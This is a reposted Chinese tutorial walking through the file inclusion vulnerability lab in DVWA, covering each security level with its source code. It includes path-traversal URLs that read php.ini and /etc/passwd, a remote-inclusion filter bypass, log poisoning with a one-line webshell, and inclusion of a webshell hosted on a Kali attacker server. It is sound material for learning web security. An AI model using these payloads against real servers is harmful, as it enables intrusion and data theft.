2. DVWA親測文件包含漏洞

本文轉載自查看原文 2018-05-14 11:49 4901 文件包含漏洞/ 文件上傳漏洞

Low級：

我們分別點擊這幾個file.php文件

僅僅是配置參數的變化：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

如果我們隨便寫一個不存在的php文件，比如：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=text.php

還爆出了路徑錯誤

我們先來分析原始內容：

再來分析我們構造好的網址:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini

果然可以訪問到正常的內容

我們再來嘗試：

這表明了文件包含不僅僅能讀文件，還能執行文件

當然，我們不能滿足於此，我們甚至可以嘗試從本地包含文件

我們在本地www目錄下新建1.php ————> 寫入<?php phpinfo();?>

我們輸入網址：

 
           http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.php 
          

 
           http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.txt 
          

果然，外部包含文件成功，這樣的話我們可以在1.php代碼中寫入惡意代碼，拿到服務器的webshell

Medium級：

我們先來看源代碼:

<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>

就是將輸入的url參數中包含的“http://”、“https://”, ". . /" , ". . \""等字符串替換成空的字符串，

即過濾了遠程文件包含, 對於本地文件包含並沒有任何過濾：

本地包含:

遠程包含：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt

High級：

源代碼：

<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want!
    echo "ERROR: File not found!"; exit; } ?>

我們輸入：

Impossible級：

源代碼：

<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want!
    echo "ERROR: File not found!"; exit; } ?>

源碼只允許四個文件名，有效的防止了文件的包含漏洞

利用：

1、讀取敏感文件：

如直接../../../../../etc/passwd來讀取本地文件內容，其他敏感文件的讀取是類似的，前提是知道路徑。

2、包含Apache日志文件：

可以用nc向目標服務器發送一條內容為一句話木馬的錯誤的指令，讓其保存在目標服務器的access.log日志文件中，再通過本地文件包含的方式實現利用。但是測試時沒有成功，因為MySQL用戶權限不足，不能讀取Apache的日志，這時需要提權操作。

這里簡便地演示一下，就直接修改文件夾屬主，先到/var/log目錄下，然后輸入命令：chown www-data:www-data apache2 -R

接着以向日志文件寫入phpinfo為示例，注意一點是，不能直接在URL欄填寫，因為一些字符會被URL編碼而不能達到目的，要使用Burpsuite截斷代理修改數據包來進行：

然后到Metasploitable2的Apache2的access.log文件中查看：

確實是存在於日志文件中了。

最后直接包含該access.log文件即可：

3、遠程包含shell

以Medium級為背景，在一台攻擊者的服務器如Kali的/var/www/html/目錄中放入一句話木馬文件，在Kali中通過以下命令啟動Apache

service apache2 start

然后在訪問DVWA中利用遠程文件包含漏洞訪問Kali中的木馬文件，從而實現利用。

這里注意的是，這個木馬文件的內容不能為形如<?php echo shell_exec($_GET['cmd']);?>這種，因為這樣只會在該木馬文件存放的服務器服務器上執行而不是在目標服務器上執行，如下示例，a.php文件內容如上，但是返回的內容確實Windows服務器的而不是目標主機Metasploitable2的：